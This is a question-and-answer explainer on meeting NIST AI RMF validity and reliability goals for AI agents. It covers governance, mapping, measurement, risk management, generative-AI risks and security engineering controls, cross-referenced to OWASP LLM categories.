How do I make an AI agent valid and reliable under the NIST AI RMF?

To make an AI agent valid and reliable under the NIST AI RMF, organizations must integrate characteristics of trustworthy AI into their practices and implement robust risk management across the AI system lifecycle. This involves establishing a strong governance structure, thoroughly mapping the AI system and its risks, continuously measuring and analyzing those risks, and actively managing responses and monitoring over time.

• Govern by establishing a risk-management culture that prioritizes trustworthy AI characteristics, including validity and reliability. This involves documenting legal and policy requirements, maintaining an acceptable-use policy for AI/agent systems, and assigning a named risk owner / accountable executive for each deployed AI system (NIST-GOVERN-1.1, NIST-GOVERN-1.2, NIST-GOVERN-2.1). Policies should also define human oversight, including override authority and the boundary of agent autonomy (NIST-GOVERN-3.2).
• Map the AI system by documenting its intended purpose, deployment setting, and operating context (NIST-MAP-1.1). Maintain an inventory of AI/agent systems (models, agents, tools, data flows) to ensure all components are known and tracked (NIST-MAP-1.5). Identify potential positive and negative impacts to individuals, groups, and society, including data sensitivity and regulated-data exposure (NIST-MAP-5.1).
• Measure risks by evaluating and documenting AI system security and resilience, including adversarial robustness and prompt-injection resistance (NIST-MEASURE-2.7), which addresses OWASP LLM01. Implement mechanisms to log decisions and trace AI behavior to ensure transparency and accountability (NIST-MEASURE-2.8). Track identified and emergent risks over time through monitoring, logging, and drift detection (NIST-MEASURE-3.1).
• Manage risks by prioritizing responses to the highest-priority AI risks, planning, tracking, and resourcing them (NIST-MANAGE-1.3). Establish procedures to deactivate, roll back, or retire AI systems that exceed risk tolerances, such as kill-switches for agents (NIST-MANAGE-2.3). Implement an AI/agent incident-response plan for post-deployment monitoring, covering detection, escalation, containment, communication, and learning (NIST-MANAGE-4.1).
• Address specific Generative AI risks such as confabulation/hallucination through controls like weak-retrieval and no-fabrication guards. Manage information security risks like prompt injection, data exfiltration, and insecure tool use (OWASP LLM01/LLM02/LLM06). Implement policies for third-party models, datasets, and tools to address supply-chain risks (NIST-GOVERN-6.1), which cross-maps to OWASP LLM03/LLM05.
• Integrate security controls into engineering practices, treating AI risks as first-class concerns through secure-by-design principles, threat modeling, and change control (NIST-GOVERN-4.1). This includes ensuring that agent platforms consume identity from enterprise Identity Providers, retrieve secrets just-in-time, apply network policies, and log to enterprise SIEMs. Implement evaluation processes that validate changes against original invariants and use shadow-mode evaluation or canary deployments to mitigate eval-production drift.